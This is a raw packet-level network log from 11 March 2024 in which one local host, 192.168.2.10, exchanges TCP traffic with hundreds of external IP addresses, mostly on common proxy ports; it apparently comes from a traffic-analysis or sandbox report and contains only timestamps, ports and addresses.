Mar 11, 2024 16:39:45.024492979 CET	51159	5678	192.168.2.10	46.231.72.35
Mar 11, 2024 16:39:45.025772095 CET	15673	50949	198.23.229.203	192.168.2.10
Mar 11, 2024 16:39:45.026277065 CET	51160	15673	192.168.2.10	198.23.229.203
Mar 11, 2024 16:39:45.026313066 CET	15303	51079	184.178.172.5	192.168.2.10
Mar 11, 2024 16:39:45.026369095 CET	4145	50328	142.54.229.249	192.168.2.10
Mar 11, 2024 16:39:45.026405096 CET	51079	15303	192.168.2.10	184.178.172.5
Mar 11, 2024 16:39:45.026952028 CET	51161	29985	192.168.2.10	154.12.178.107
Mar 11, 2024 16:39:45.027328968 CET	5432	50887	45.196.148.67	192.168.2.10
Mar 11, 2024 16:39:45.027610064 CET	5432	50887	45.196.148.67	192.168.2.10
Mar 11, 2024 16:39:45.027623892 CET	5432	50887	45.196.148.67	192.168.2.10
Mar 11, 2024 16:39:45.027796030 CET	50887	5432	192.168.2.10	45.196.148.67
Mar 11, 2024 16:39:45.027942896 CET	50887	5432	192.168.2.10	45.196.148.67
Mar 11, 2024 16:39:45.028784037 CET	51162	25492	192.168.2.10	50.63.12.33
Mar 11, 2024 16:39:45.029695988 CET	35158	50882	103.245.205.33	192.168.2.10
Mar 11, 2024 16:39:45.029788971 CET	51163	20309	192.168.2.10	107.180.90.88
Mar 11, 2024 16:39:45.029798985 CET	80	50899	209.126.6.159	192.168.2.10
Mar 11, 2024 16:39:45.033409119 CET	3128	51023	45.159.189.244	192.168.2.10
Mar 11, 2024 16:39:45.033440113 CET	51164	5870	192.168.2.10	141.95.160.178
Mar 11, 2024 16:39:45.033750057 CET	51023	3128	192.168.2.10	45.159.189.244
Mar 11, 2024 16:39:45.033951998 CET	51023	3128	192.168.2.10	45.159.189.244
Mar 11, 2024 16:39:45.033976078 CET	51165	8888	192.168.2.10	203.74.125.18
Mar 11, 2024 16:39:45.034513950 CET	51166	5678	192.168.2.10	14.207.206.27
Mar 11, 2024 16:39:45.034914017 CET	80	49795	50.239.72.19	192.168.2.10
Mar 11, 2024 16:39:45.035675049 CET	50180	80	192.168.2.10	223.19.111.185
Mar 11, 2024 16:39:45.035691023 CET	50514	5123	192.168.2.10	72.10.160.92
Mar 11, 2024 16:39:45.035691023 CET	50226	10801	192.168.2.10	103.53.110.45
Mar 11, 2024 16:39:45.035711050 CET	50214	4145	192.168.2.10	24.249.199.4
Mar 11, 2024 16:39:45.035737991 CET	50216	1088	192.168.2.10	81.199.14.49
Mar 11, 2024 16:39:45.035738945 CET	49774	8080	192.168.2.10	20.37.207.8
Mar 11, 2024 16:39:45.035737991 CET	50235	41055	192.168.2.10	62.171.131.101
Mar 11, 2024 16:39:45.035738945 CET	50208	51800	192.168.2.10	110.185.105.210
Mar 11, 2024 16:39:45.035737991 CET	50231	49865	192.168.2.10	128.199.221.91
Mar 11, 2024 16:39:45.035742998 CET	50238	81	192.168.2.10	188.168.24.222
Mar 11, 2024 16:39:45.035742044 CET	50233	80	192.168.2.10	154.65.39.7
Mar 11, 2024 16:39:45.035741091 CET	50221	8080	192.168.2.10	34.84.95.189
Mar 11, 2024 16:39:45.035742044 CET	50227	56252	192.168.2.10	103.59.190.209
Mar 11, 2024 16:39:45.035737991 CET	50240	8080	192.168.2.10	202.179.188.178
Mar 11, 2024 16:39:45.035738945 CET	50234	8889	192.168.2.10	216.176.187.99
Mar 11, 2024 16:39:45.035737991 CET	50239	43100	192.168.2.10	142.4.7.20
Mar 11, 2024 16:39:45.035737991 CET	50242	42624	192.168.2.10	162.214.165.6
Mar 11, 2024 16:39:45.035844088 CET	50549	34560	192.168.2.10	108.181.132.117
Mar 11, 2024 16:39:45.035867929 CET	50244	83	192.168.2.10	103.129.3.246
Mar 11, 2024 16:39:45.036340952 CET	51167	8080	192.168.2.10	153.139.233.218
Mar 11, 2024 16:39:45.037981033 CET	80	50458	82.97.215.240	192.168.2.10
Mar 11, 2024 16:39:45.038057089 CET	51168	666	192.168.2.10	107.172.0.177
Mar 11, 2024 16:39:45.038208961 CET	50458	80	192.168.2.10	82.97.215.240
Mar 11, 2024 16:39:45.039608955 CET	51169	22942	192.168.2.10	92.204.135.37
Mar 11, 2024 16:39:45.040688992 CET	51170	62969	192.168.2.10	92.204.135.37
Mar 11, 2024 16:39:45.040761948 CET	4145	50804	174.75.211.222	192.168.2.10
Mar 11, 2024 16:39:45.040782928 CET	4145	50804	174.75.211.222	192.168.2.10
Mar 11, 2024 16:39:45.042129040 CET	51172	8080	192.168.2.10	102.216.69.176
Mar 11, 2024 16:39:45.042182922 CET	51171	4145	192.168.2.10	174.75.211.222
Mar 11, 2024 16:39:45.042188883 CET	28971	49775	67.43.228.254	192.168.2.10
Mar 11, 2024 16:39:45.043593884 CET	51173	80	192.168.2.10	68.185.57.66
Mar 11, 2024 16:39:45.044261932 CET	80	50308	50.231.104.58	192.168.2.10
Mar 11, 2024 16:39:45.044516087 CET	8000	51012	128.199.252.41	192.168.2.10
Mar 11, 2024 16:39:45.044768095 CET	51174	80	192.168.2.10	50.172.39.98
Mar 11, 2024 16:39:45.045579910 CET	55109	49962	161.97.163.52	192.168.2.10
Mar 11, 2024 16:39:45.045593023 CET	7497	51021	51.178.51.28	192.168.2.10
Mar 11, 2024 16:39:45.045692921 CET	49962	55109	192.168.2.10	161.97.163.52
Mar 11, 2024 16:39:45.046303988 CET	51175	8080	192.168.2.10	79.110.119.181
Mar 11, 2024 16:39:45.048885107 CET	51176	80	192.168.2.10	162.241.207.217
Mar 11, 2024 16:39:45.051306009 CET	50490	999	192.168.2.10	190.71.24.129
Mar 11, 2024 16:39:45.051307917 CET	50535	24397	192.168.2.10	72.10.160.90
Mar 11, 2024 16:39:45.051330090 CET	50232	8080	192.168.2.10	101.255.62.129
Mar 11, 2024 16:39:45.051326990 CET	50554	55994	192.168.2.10	38.127.172.219
Mar 11, 2024 16:39:45.051326990 CET	50591	51535	192.168.2.10	162.241.66.135
Mar 11, 2024 16:39:45.051347017 CET	50572	46783	192.168.2.10	162.241.158.204
Mar 11, 2024 16:39:45.051347971 CET	50252	999	192.168.2.10	38.41.0.94
Mar 11, 2024 16:39:45.051347017 CET	50263	49401	192.168.2.10	162.241.46.40
Mar 11, 2024 16:39:45.051348925 CET	50247	55443	192.168.2.10	197.232.65.40
Mar 11, 2024 16:39:45.051348925 CET	50243	80	192.168.2.10	37.120.189.106
Mar 11, 2024 16:39:45.051353931 CET	50277	5678	192.168.2.10	103.112.254.66
Mar 11, 2024 16:39:45.051353931 CET	50559	5529	192.168.2.10	72.10.164.178
Mar 11, 2024 16:39:45.051353931 CET	50250	8888	192.168.2.10	194.150.69.56
Mar 11, 2024 16:39:45.051353931 CET	50251	5034	192.168.2.10	45.11.95.165
Mar 11, 2024 16:39:45.051353931 CET	50253	999	192.168.2.10	45.176.97.90
Mar 11, 2024 16:39:45.051376104 CET	50259	40536	192.168.2.10	162.214.225.223
Mar 11, 2024 16:39:45.051384926 CET	50256	999	192.168.2.10	186.125.218.145
Mar 11, 2024 16:39:45.051630020 CET	5678	51070	190.113.90.230	192.168.2.10
Mar 11, 2024 16:39:45.052483082 CET	51177	3256	192.168.2.10	119.84.215.127
Mar 11, 2024 16:39:45.053428888 CET	51178	39533	192.168.2.10	167.172.109.12
Mar 11, 2024 16:39:45.053983927 CET	51179	13341	192.168.2.10	72.10.164.178
Mar 11, 2024 16:39:45.054002047 CET	80	50721	121.159.146.251	192.168.2.10
Mar 11, 2024 16:39:45.054054976 CET	80	50721	121.159.146.251	192.168.2.10
Mar 11, 2024 16:39:45.054115057 CET	50721	80	192.168.2.10	121.159.146.251
Mar 11, 2024 16:39:45.054799080 CET	51180	80	192.168.2.10	121.159.146.251
Mar 11, 2024 16:39:45.054837942 CET	50721	80	192.168.2.10	121.159.146.251
Mar 11, 2024 16:39:45.054883957 CET	6012	50642	45.11.95.165	192.168.2.10
Mar 11, 2024 16:39:45.055402994 CET	1080	50484	35.154.71.72	192.168.2.10
Mar 11, 2024 16:39:45.055416107 CET	11070	50037	147.124.212.31	192.168.2.10
Mar 11, 2024 16:39:45.055692911 CET	50037	11070	192.168.2.10	147.124.212.31
Mar 11, 2024 16:39:45.055826902 CET	50037	11070	192.168.2.10	147.124.212.31
Mar 11, 2024 16:39:45.056106091 CET	51181	20806	192.168.2.10	119.29.84.133
Mar 11, 2024 16:39:45.056519985 CET	50605	49780	51.81.89.146	192.168.2.10
Mar 11, 2024 16:39:45.057579994 CET	51182	8080	192.168.2.10	139.0.6.11
Mar 11, 2024 16:39:45.058336020 CET	1080	51042	5.252.23.249	192.168.2.10
Mar 11, 2024 16:39:45.058429956 CET	51042	1080	192.168.2.10	5.252.23.249
Mar 11, 2024 16:39:45.061644077 CET	45639	49983	103.212.93.241	192.168.2.10
Mar 11, 2024 16:39:45.064469099 CET	4145	50827	72.210.221.197	192.168.2.10
Mar 11, 2024 16:39:45.064481974 CET	4145	50827	72.210.221.197	192.168.2.10
Mar 11, 2024 16:39:45.064492941 CET	4145	50853	184.170.249.65	192.168.2.10
Mar 11, 2024 16:39:45.064996004 CET	4145	50853	184.170.249.65	192.168.2.10
Mar 11, 2024 16:39:45.065007925 CET	4145	50830	174.77.111.197	192.168.2.10
Mar 11, 2024 16:39:45.066930056 CET	50601	60651	192.168.2.10	162.241.6.97
Mar 11, 2024 16:39:45.066948891 CET	50397	4145	192.168.2.10	103.58.16.57
Mar 11, 2024 16:39:45.066950083 CET	50261	4145	192.168.2.10	1.2.209.194
Mar 11, 2024 16:39:45.066951036 CET	50222	80	192.168.2.10	8.222.239.209
Mar 11, 2024 16:39:45.066951036 CET	50260	80	192.168.2.10	13.209.156.241
Mar 11, 2024 16:39:45.066967010 CET	50262	3128	192.168.2.10	103.35.189.217
Mar 11, 2024 16:39:45.066967010 CET	50266	5678	192.168.2.10	83.56.15.57
Mar 11, 2024 16:39:45.066982985 CET	50271	80	192.168.2.10	12.176.231.147
Mar 11, 2024 16:39:45.067039013 CET	50478	80	192.168.2.10	50.217.226.45
Mar 11, 2024 16:39:45.067044973 CET	49782	8080	192.168.2.10	42.200.196.208
Mar 11, 2024 16:39:45.067044973 CET	50267	3128	192.168.2.10	45.159.150.23
Mar 11, 2024 16:39:45.068183899 CET	4145	50830	174.77.111.197	192.168.2.10
Mar 11, 2024 16:39:45.070096970 CET	3128	50773	134.209.29.120	192.168.2.10
Mar 11, 2024 16:39:45.072263956 CET	9090	50576	212.108.145.195	192.168.2.10
Mar 11, 2024 16:39:45.072407007 CET	50576	9090	192.168.2.10	212.108.145.195
Mar 11, 2024 16:39:45.073262930 CET	31979	50097	51.77.65.164	192.168.2.10
Mar 11, 2024 16:39:45.073276043 CET	31033	49784	67.43.228.253	192.168.2.10
Mar 11, 2024 16:39:45.073287010 CET	8081	50275	193.239.56.84	192.168.2.10
Mar 11, 2024 16:39:45.073332071 CET	8081	50275	193.239.56.84	192.168.2.10
Mar 11, 2024 16:39:45.073508024 CET	8081	51049	193.239.56.84	192.168.2.10
Mar 11, 2024 16:39:45.073520899 CET	4145	51068	184.181.217.210	192.168.2.10
Mar 11, 2024 16:39:45.073637962 CET	51068	4145	192.168.2.10	184.181.217.210
Mar 11, 2024 16:39:45.073638916 CET	51049	8081	192.168.2.10	193.239.56.84
Mar 11, 2024 16:39:45.075711012 CET	8800	50126	43.133.136.208	192.168.2.10
Mar 11, 2024 16:39:45.078397036 CET	8800	51010	43.133.136.208	192.168.2.10
Mar 11, 2024 16:39:45.078500032 CET	51010	8800	192.168.2.10	43.133.136.208
Mar 11, 2024 16:39:45.082011938 CET	9090	50576	212.108.145.195	192.168.2.10
Mar 11, 2024 16:39:45.082557917 CET	50274	32100	192.168.2.10	50.199.46.20
Mar 11, 2024 16:39:45.082559109 CET	50269	10722	192.168.2.10	192.163.202.88
Mar 11, 2024 16:39:45.082561016 CET	50273	48553	192.168.2.10	203.96.177.211
Mar 11, 2024 16:39:45.082580090 CET	50407	3629	192.168.2.10	91.220.69.43
Mar 11, 2024 16:39:45.082580090 CET	50402	80	192.168.2.10	36.92.193.189
Mar 11, 2024 16:39:45.082581043 CET	49749	5678	192.168.2.10	122.152.53.25
Mar 11, 2024 16:39:45.082581997 CET	49918	80	192.168.2.10	50.175.212.74
Mar 11, 2024 16:39:45.082587004 CET	50278	4145	192.168.2.10	119.42.71.103
Mar 11, 2024 16:39:45.082585096 CET	49882	8000	192.168.2.10	178.128.156.219
Mar 11, 2024 16:39:45.083121061 CET	8080	50367	5.78.89.192	192.168.2.10
Mar 11, 2024 16:39:45.083944082 CET	8083	50565	185.132.242.212	192.168.2.10
Mar 11, 2024 16:39:45.083976030 CET	8800	50126	43.133.136.208	192.168.2.10
Mar 11, 2024 16:39:45.083978891 CET	50576	9090	192.168.2.10	212.108.145.195
Mar 11, 2024 16:39:45.084255934 CET	51183	9090	192.168.2.10	212.108.145.195
Mar 11, 2024 16:39:45.084381104 CET	51184	4145	192.168.2.10	174.77.111.197
Mar 11, 2024 16:39:45.084467888 CET	51049	8081	192.168.2.10	193.239.56.84
Mar 11, 2024 16:39:45.084528923 CET	51068	4145	192.168.2.10	184.181.217.210
Mar 11, 2024 16:39:45.084585905 CET	51010	8800	192.168.2.10	43.133.136.208
Mar 11, 2024 16:39:45.086096048 CET	80	51099	104.16.224.33	192.168.2.10
Mar 11, 2024 16:39:45.086124897 CET	51042	1080	192.168.2.10	5.252.23.249
Mar 11, 2024 16:39:45.086210012 CET	51099	80	192.168.2.10	104.16.224.33
Mar 11, 2024 16:39:45.086360931 CET	51099	80	192.168.2.10	104.16.224.33
Mar 11, 2024 16:39:45.086667061 CET	8083	50565	185.132.242.212	192.168.2.10
Mar 11, 2024 16:39:45.086750984 CET	4019	50505	171.235.166.222	192.168.2.10
Mar 11, 2024 16:39:45.087151051 CET	3128	51058	91.189.177.188	192.168.2.10
Mar 11, 2024 16:39:45.087245941 CET	51058	3128	192.168.2.10	91.189.177.188
Mar 11, 2024 16:39:45.087768078 CET	80	50335	54.152.3.36	192.168.2.10
Mar 11, 2024 16:39:45.087964058 CET	51058	3128	192.168.2.10	91.189.177.188
Mar 11, 2024 16:39:45.088124990 CET	8089	49732	117.70.49.235	192.168.2.10
Mar 11, 2024 16:39:45.088618040 CET	3128	50687	52.67.10.183	192.168.2.10
Mar 11, 2024 16:39:45.089526892 CET	1080	49982	202.142.167.210	192.168.2.10
Mar 11, 2024 16:39:45.089587927 CET	32221	49787	67.43.228.254	192.168.2.10
Mar 11, 2024 16:39:45.089685917 CET	80	51065	154.208.10.126	192.168.2.10
Mar 11, 2024 16:39:45.089788914 CET	80	51065	154.208.10.126	192.168.2.10
Mar 11, 2024 16:39:45.090358019 CET	8888	50071	93.171.220.229	192.168.2.10
Mar 11, 2024 16:39:45.090389967 CET	51065	80	192.168.2.10	154.208.10.126
Mar 11, 2024 16:39:45.091711044 CET	51186	4145	192.168.2.10	184.170.249.65
Mar 11, 2024 16:39:45.092148066 CET	51188	4145	192.168.2.10	125.26.4.197
Mar 11, 2024 16:39:45.092246056 CET	51187	4145	192.168.2.10	72.210.221.197
Mar 11, 2024 16:39:45.092524052 CET	51189	18936	192.168.2.10	37.187.77.58
Mar 11, 2024 16:39:45.092526913 CET	51190	8083	192.168.2.10	185.132.242.212
Mar 11, 2024 16:39:45.093686104 CET	58275	50061	162.214.191.209	192.168.2.10
Mar 11, 2024 16:39:45.093889952 CET	50061	58275	192.168.2.10	162.214.191.209
Mar 11, 2024 16:39:45.093889952 CET	50061	58275	192.168.2.10	162.214.191.209
Mar 11, 2024 16:39:45.094945908 CET	80	50921	162.159.241.5	192.168.2.10
Mar 11, 2024 16:39:45.096689939 CET	5678	50058	202.165.47.49	192.168.2.10
Mar 11, 2024 16:39:45.096705914 CET	80	50960	104.16.104.12	192.168.2.10
Mar 11, 2024 16:39:45.096781015 CET	55066	50133	167.86.115.103	192.168.2.10
Mar 11, 2024 16:39:45.096792936 CET	8197	50326	58.234.116.197	192.168.2.10
Mar 11, 2024 16:39:45.097914934 CET	80	50969	172.67.182.96	192.168.2.10
Mar 11, 2024 16:39:45.098184109 CET	49890	80	192.168.2.10	50.168.72.112
Mar 11, 2024 16:39:45.098186970 CET	50364	999	192.168.2.10	191.97.9.228
Mar 11, 2024 16:39:45.098189116 CET	49735	37736	192.168.2.10	207.180.234.220
Mar 11, 2024 16:39:45.098202944 CET	50446	4153	192.168.2.10	179.109.193.228
Mar 11, 2024 16:39:45.098211050 CET	50461	5836	192.168.2.10	185.158.248.95
Mar 11, 2024 16:39:45.098212004 CET	50280	999	192.168.2.10	190.61.41.165
Mar 11, 2024 16:39:45.098212004 CET	50281	30189	192.168.2.10	161.97.163.52
Mar 11, 2024 16:39:45.098218918 CET	50283	82	192.168.2.10	117.160.250.163
Mar 11, 2024 16:39:45.101011038 CET	51194	8080	192.168.2.10	103.24.107.186
Mar 11, 2024 16:39:45.101422071 CET	51195	80	192.168.2.10	37.32.40.178
Mar 11, 2024 16:39:45.101916075 CET	51196	3128	192.168.2.10	66.29.154.103
Mar 11, 2024 16:39:45.101938009 CET	4145	50420	92.207.253.226	192.168.2.10
Mar 11, 2024 16:39:45.102303982 CET	3629	50272	95.31.42.199	192.168.2.10
Mar 11, 2024 16:39:45.102395058 CET	51197	8090	192.168.2.10	101.255.140.1
Mar 11, 2024 16:39:45.102998972 CET	80	50945	174.138.114.226	192.168.2.10
Mar 11, 2024 16:39:45.105082035 CET	8888	50071	93.171.220.229	192.168.2.10
Mar 11, 2024 16:39:45.105436087 CET	3128	51066	130.162.213.175	192.168.2.10
Mar 11, 2024 16:39:45.105451107 CET	6012	50642	45.11.95.165	192.168.2.10
Mar 11, 2024 16:39:45.105503082 CET	6012	50642	45.11.95.165	192.168.2.10
Mar 11, 2024 16:39:45.105531931 CET	50642	6012	192.168.2.10	45.11.95.165
Mar 11, 2024 16:39:45.105539083 CET	51066	3128	192.168.2.10	130.162.213.175
Mar 11, 2024 16:39:45.105896950 CET	51066	3128	192.168.2.10	130.162.213.175
Mar 11, 2024 16:39:45.106302023 CET	51198	6012	192.168.2.10	45.11.95.165
Mar 11, 2024 16:39:45.107985973 CET	51199	5935	192.168.2.10	72.10.164.178
Mar 11, 2024 16:39:45.108346939 CET	51200	11946	192.168.2.10	91.134.140.160
Mar 11, 2024 16:39:45.109275103 CET	60200	50374	162.241.137.197	192.168.2.10
Mar 11, 2024 16:39:45.110177994 CET	80	50162	50.170.90.28	192.168.2.10
Mar 11, 2024 16:39:45.110322952 CET	80	50980	45.12.30.231	192.168.2.10
Mar 11, 2024 16:39:45.111150980 CET	5678	50245	191.97.2.198	192.168.2.10
Mar 11, 2024 16:39:45.111597061 CET	51202	80	192.168.2.10	152.230.215.123
Mar 11, 2024 16:39:45.111635923 CET	51203	4145	192.168.2.10	190.103.29.101
Mar 11, 2024 16:39:45.112035036 CET	8888	50355	136.244.99.51	192.168.2.10
Mar 11, 2024 16:39:45.113403082 CET	80	51092	50.200.12.82	192.168.2.10
Mar 11, 2024 16:39:45.113437891 CET	51204	8089	192.168.2.10	123.182.58.137
Mar 11, 2024 16:39:45.113802910 CET	50284	80	192.168.2.10	182.72.203.255
Mar 11, 2024 16:39:45.113802910 CET	50663	29197	192.168.2.10	72.10.160.90
Mar 11, 2024 16:39:45.113821030 CET	50424	3128	192.168.2.10	188.56.223.85
Mar 11, 2024 16:39:45.113821030 CET	50471	4153	192.168.2.10	177.72.82.47
Mar 11, 2024 16:39:45.113821983 CET	50651	10801	192.168.2.10	72.10.164.178
Mar 11, 2024 16:39:45.113826990 CET	49770	3128	192.168.2.10	46.245.77.52
Mar 11, 2024 16:39:45.113828897 CET	50403	4145	192.168.2.10	103.66.233.225
Mar 11, 2024 16:39:45.115919113 CET	51205	8080	192.168.2.10	170.210.121.190
Mar 11, 2024 16:39:45.117018938 CET	3128	50996	38.54.95.19	192.168.2.10
Mar 11, 2024 16:39:45.117878914 CET	8899	50105	66.228.140.209	192.168.2.10
Mar 11, 2024 16:39:45.117892981 CET	80	51111	162.159.242.10	192.168.2.10
Mar 11, 2024 16:39:45.118067026 CET	50105	8899	192.168.2.10	66.228.140.209
Mar 11, 2024 16:39:45.118071079 CET	51111	80	192.168.2.10	162.159.242.10
Mar 11, 2024 16:39:45.118222952 CET	50105	8899	192.168.2.10	66.228.140.209
Mar 11, 2024 16:39:45.118403912 CET	51111	80	192.168.2.10	162.159.242.10
Mar 11, 2024 16:39:45.119146109 CET	15673	51014	23.95.209.142	192.168.2.10
Mar 11, 2024 16:39:45.120106936 CET	15673	51014	23.95.209.142	192.168.2.10
Mar 11, 2024 16:39:45.120201111 CET	51206	3128	192.168.2.10	145.239.199.109
Mar 11, 2024 16:39:45.120229959 CET	8080	51061	91.202.230.219	192.168.2.10
Mar 11, 2024 16:39:45.120381117 CET	51061	8080	192.168.2.10	91.202.230.219
Mar 11, 2024 16:39:45.120639086 CET	51061	8080	192.168.2.10	91.202.230.219
Mar 11, 2024 16:39:45.120826960 CET	8080	50264	91.202.230.219	192.168.2.10
Mar 11, 2024 16:39:45.120852947 CET	51207	3128	192.168.2.10	84.17.35.129
Mar 11, 2024 16:39:45.120901108 CET	8080	50264	91.202.230.219	192.168.2.10
Mar 11, 2024 16:39:45.120918036 CET	9091	49994	120.37.121.209	192.168.2.10
Mar 11, 2024 16:39:45.121061087 CET	49994	9091	192.168.2.10	120.37.121.209
Mar 11, 2024 16:39:45.121104956 CET	49994	9091	192.168.2.10	120.37.121.209
Mar 11, 2024 16:39:45.121165037 CET	51208	15673	192.168.2.10	23.95.209.142
Mar 11, 2024 16:39:45.121485949 CET	80	50459	43.231.22.229	192.168.2.10
Mar 11, 2024 16:39:45.121520042 CET	51209	1455	192.168.2.10	185.202.7.161
Mar 11, 2024 16:39:45.121560097 CET	80	50459	43.231.22.229	192.168.2.10
Mar 11, 2024 16:39:45.121802092 CET	8888	51011	93.171.220.229	192.168.2.10
Mar 11, 2024 16:39:45.121907949 CET	51011	8888	192.168.2.10	93.171.220.229
Mar 11, 2024 16:39:45.121988058 CET	50459	80	192.168.2.10	43.231.22.229
Mar 11, 2024 16:39:45.122224092 CET	51011	8888	192.168.2.10	93.171.220.229
Mar 11, 2024 16:39:45.124336958 CET	51210	80	192.168.2.10	104.21.85.200
Mar 11, 2024 16:39:45.125300884 CET	51211	48298	192.168.2.10	132.148.167.243
Mar 11, 2024 16:39:45.127253056 CET	80	51074	121.128.194.154	192.168.2.10
Mar 11, 2024 16:39:45.127458096 CET	51074	80	192.168.2.10	121.128.194.154
Mar 11, 2024 16:39:45.127597094 CET	4145	50433	199.58.185.9	192.168.2.10
Mar 11, 2024 16:39:45.127628088 CET	51074	80	192.168.2.10	121.128.194.154
Mar 11, 2024 16:39:45.129446983 CET	50582	80	192.168.2.10	50.173.140.148
Mar 11, 2024 16:39:45.129446983 CET	49915	5775	192.168.2.10	72.10.160.92
Mar 11, 2024 16:39:45.129448891 CET	50225	49614	192.168.2.10	206.189.145.23
Mar 11, 2024 16:39:45.129463911 CET	50335	80	192.168.2.10	54.152.3.36
Mar 11, 2024 16:39:45.129462957 CET	50295	3128	192.168.2.10	139.99.148.90
Mar 11, 2024 16:39:45.129462957 CET	50409	4145	192.168.2.10	168.205.217.13
Mar 11, 2024 16:39:45.129476070 CET	50300	8080	192.168.2.10	103.124.196.134
Mar 11, 2024 16:39:45.129477978 CET	50589	80	192.168.2.10	50.222.245.41
Mar 11, 2024 16:39:45.129477978 CET	50290	29497	192.168.2.10	62.171.131.101
Mar 11, 2024 16:39:45.129479885 CET	50672	14282	192.168.2.10	192.252.208.70
Mar 11, 2024 16:39:45.129493952 CET	50289	3128	192.168.2.10	86.107.178.109
Mar 11, 2024 16:39:45.129493952 CET	50292	8080	192.168.2.10	4.236.183.37
Mar 11, 2024 16:39:45.129498005 CET	50293	32824	192.168.2.10	51.68.164.77
Mar 11, 2024 16:39:45.129499912 CET	42331	50206	206.189.9.30	192.168.2.10
Mar 11, 2024 16:39:45.129509926 CET	50296	8080	192.168.2.10	94.131.203.7
Mar 11, 2024 16:39:45.129523993 CET	50291	12113	192.168.2.10	103.49.28.23
Mar 11, 2024 16:39:45.129699945 CET	50298	999	192.168.2.10	170.239.207.241
Mar 11, 2024 16:39:45.130249023 CET	8080	50507	103.190.54.141	192.168.2.10
Mar 11, 2024 16:39:45.130743980 CET	51212	8080	192.168.2.10	103.190.54.141
Mar 11, 2024 16:39:45.131072998 CET	51213	8080	192.168.2.10	54.37.196.189
Mar 11, 2024 16:39:45.131707907 CET	51215	5678	192.168.2.10	130.193.123.34
Mar 11, 2024 16:39:45.131707907 CET	51214	8004	192.168.2.10	114.99.12.249
Mar 11, 2024 16:39:45.132163048 CET	51216	13477	192.168.2.10	72.10.160.93
Mar 11, 2024 16:39:45.133368015 CET	51217	80	192.168.2.10	50.218.57.66
Mar 11, 2024 16:39:45.136980057 CET	51218	1080	192.168.2.10	81.21.82.116
Mar 11, 2024 16:39:45.137036085 CET	51219	2004	192.168.2.10	103.174.178.249
Mar 11, 2024 16:39:45.137674093 CET	51220	14455	192.168.2.10	192.252.209.155
Mar 11, 2024 16:39:45.137711048 CET	51221	1080	192.168.2.10	121.129.47.25
Mar 11, 2024 16:39:45.138906956 CET	51222	44827	192.168.2.10	62.171.131.101
Mar 11, 2024 16:39:45.139405966 CET	3128	50468	18.135.211.182	192.168.2.10
Mar 11, 2024 16:39:45.141541958 CET	51223	999	192.168.2.10	181.112.164.219
Mar 11, 2024 16:39:45.141592026 CET	50468	3128	192.168.2.10	18.135.211.182
Mar 11, 2024 16:39:45.142010927 CET	51224	4145	192.168.2.10	68.71.247.130
Mar 11, 2024 16:39:45.143554926 CET	3500	50104	23.225.72.122	192.168.2.10
Mar 11, 2024 16:39:45.143678904 CET	50104	3500	192.168.2.10	23.225.72.122
Mar 11, 2024 16:39:45.143903017 CET	50104	3500	192.168.2.10	23.225.72.122
Mar 11, 2024 16:39:45.143987894 CET	51225	6940	192.168.2.10	51.68.230.210
Mar 11, 2024 16:39:45.144001961 CET	5096	50228	165.154.227.154	192.168.2.10
Mar 11, 2024 16:39:45.144364119 CET	3128	50204	13.208.168.179	192.168.2.10
Mar 11, 2024 16:39:45.145081043 CET	50009	55137	192.168.2.10	192.169.197.146
Mar 11, 2024 16:39:45.145082951 CET	50611	80	192.168.2.10	50.174.214.219
Mar 11, 2024 16:39:45.145081043 CET	50297	81	192.168.2.10	94.153.163.226
Mar 11, 2024 16:39:45.145101070 CET	50304	43100	192.168.2.10	192.163.201.131
Mar 11, 2024 16:39:45.145117998 CET	50558	3128	192.168.2.10	213.131.230.161
Mar 11, 2024 16:39:45.145118952 CET	50329	4153	192.168.2.10	92.255.190.41
Mar 11, 2024 16:39:45.145118952 CET	50322	4153	192.168.2.10	177.91.76.34
Mar 11, 2024 16:39:45.145121098 CET	50311	80	192.168.2.10	190.116.2.52
Mar 11, 2024 16:39:45.145121098 CET	50324	4145	192.168.2.10	197.234.13.36
Mar 11, 2024 16:39:45.145123959 CET	50700	4145	192.168.2.10	198.8.94.170
Mar 11, 2024 16:39:45.145124912 CET	50517	5678	192.168.2.10	101.95.182.26
Mar 11, 2024 16:39:45.145124912 CET	50316	999	192.168.2.10	181.78.19.248
Mar 11, 2024 16:39:45.145123959 CET	50310	999	192.168.2.10	45.234.61.173
Mar 11, 2024 16:39:45.145124912 CET	50312	8080	192.168.2.10	178.115.253.35
Mar 11, 2024 16:39:45.145124912 CET	50315	65000	192.168.2.10	89.171.116.65
Mar 11, 2024 16:39:45.145164013 CET	50309	16379	192.168.2.10	163.172.131.178
Mar 11, 2024 16:39:45.145167112 CET	50585	27639	192.168.2.10	185.45.194.176
Mar 11, 2024 16:39:45.145174980 CET	50307	4153	192.168.2.10	103.84.178.2
Mar 11, 2024 16:39:45.145174980 CET	50302	30422	192.168.2.10	157.245.131.28
Mar 11, 2024 16:39:45.145174980 CET	50306	2020	192.168.2.10	103.170.115.213
Mar 11, 2024 16:39:45.145230055 CET	50331	3128	192.168.2.10	62.171.184.96
Mar 11, 2024 16:39:45.147407055 CET	4145	51119	162.253.68.97	192.168.2.10
Mar 11, 2024 16:39:45.147756100 CET	8089	50039	111.225.152.42	192.168.2.10
Mar 11, 2024 16:39:45.147769928 CET	80	51072	39.105.5.126	192.168.2.10
Mar 11, 2024 16:39:45.147914886 CET	51072	80	192.168.2.10	39.105.5.126
Mar 11, 2024 16:39:45.148932934 CET	8118	49981	182.140.244.163	192.168.2.10
Mar 11, 2024 16:39:45.148952007 CET	51072	80	192.168.2.10	39.105.5.126
Mar 11, 2024 16:39:45.149040937 CET	49981	8118	192.168.2.10	182.140.244.163
Mar 11, 2024 16:39:45.149061918 CET	49981	8118	192.168.2.10	182.140.244.163
Mar 11, 2024 16:39:45.149607897 CET	9050	51096	45.77.108.208	192.168.2.10
Mar 11, 2024 16:39:45.154690981 CET	45248	49895	166.62.121.127	192.168.2.10
Mar 11, 2024 16:39:45.154869080 CET	80	51007	185.162.229.70	192.168.2.10
Mar 11, 2024 16:39:45.156071901 CET	4145	49883	184.178.172.14	192.168.2.10
Mar 11, 2024 16:39:45.156167030 CET	49883	4145	192.168.2.10	184.178.172.14
Mar 11, 2024 16:39:45.156238079 CET	80	51071	186.124.164.213	192.168.2.10
Mar 11, 2024 16:39:45.156323910 CET	51071	80	192.168.2.10	186.124.164.213
Mar 11, 2024 16:39:45.156542063 CET	51071	80	192.168.2.10	186.124.164.213
Mar 11, 2024 16:39:45.158616066 CET	9764	51008	162.243.102.207	192.168.2.10
Mar 11, 2024 16:39:45.158829927 CET	9764	51008	162.243.102.207	192.168.2.10
Mar 11, 2024 16:39:45.159660101 CET	80	50248	50.217.226.44	192.168.2.10
